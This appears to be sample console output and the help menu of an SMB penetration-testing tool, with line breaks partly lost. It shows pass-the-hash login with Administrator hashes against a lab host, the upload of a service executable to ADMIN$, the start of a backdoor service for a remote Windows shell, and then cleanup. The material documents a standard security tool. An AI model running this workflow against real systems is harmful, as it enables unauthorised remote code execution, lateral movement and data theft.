Do you want to get a shell from any of the targets? [Y/n] yWhich target do you want to connect to?[1] 172.16.77.130:445> 1Which credentials do you want to use to connect?[1] Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210[2] ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68[3] testuser/testpass> 1[15:53:46] [INFO] type 'help' for help menu# shell[16:53:07] [INFO] Uploading the service executable to 'ADMIN$\ihtell.exe'[16:53:07] [INFO] Connecting to the SVCCTL named pipe[16:53:07] [INFO] Creating the service 'uYRYKB'[16:53:07] [INFO] Starting the service 'uYRYKB'[16:53:07] [INFO] Connecting to backdoor on port 2090, wait..Microsoft Windows [Version 5.2.3790](C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>exitexit[16:53:20] [INFO] Connecting to the SVCCTL named pipe[16:53:20] [INFO] Stopping the service 'uYRYKB'[16:53:20] [INFO] Deleting the service 'uYRYKB'[16:53:20] [INFO] Removing the service executable 'ADMIN$\ihtell.exe'# exit$

Do you want to get a shell from any of the targets? [Y/n] yWhich target do you want to connect to?[1] 172.16.77.130:445> Which credentials do you want to use to connect?[1] Administrator/validpassword> # helpGeneric options===============help - show this messageverbosity {level} - set verbosity level (0-2)info - list system informationexit - terminates the SMB session and exit from the tool

Shares options==============shares - list available sharesuse {sharename} - connect to an specific sharecd {path} - changes the current directory to {path}pwd - shows current remote directoryls {path} - lists all the files in the current directorycat {file} - display content of the selected filedownload {filename} - downloads the filename from the current pathupload {filename} - uploads the filename into the current pathmkdir {dirname} - creates the directory under the current pathrm {file} - removes the selected filermdir {dirname} - removes the directory under the current path

Users options=============users [domain] - list users, optionally for a specific domainpswpolicy [domain] - list password policy, optionally for a specific domaindomains - list domains to which the system is part of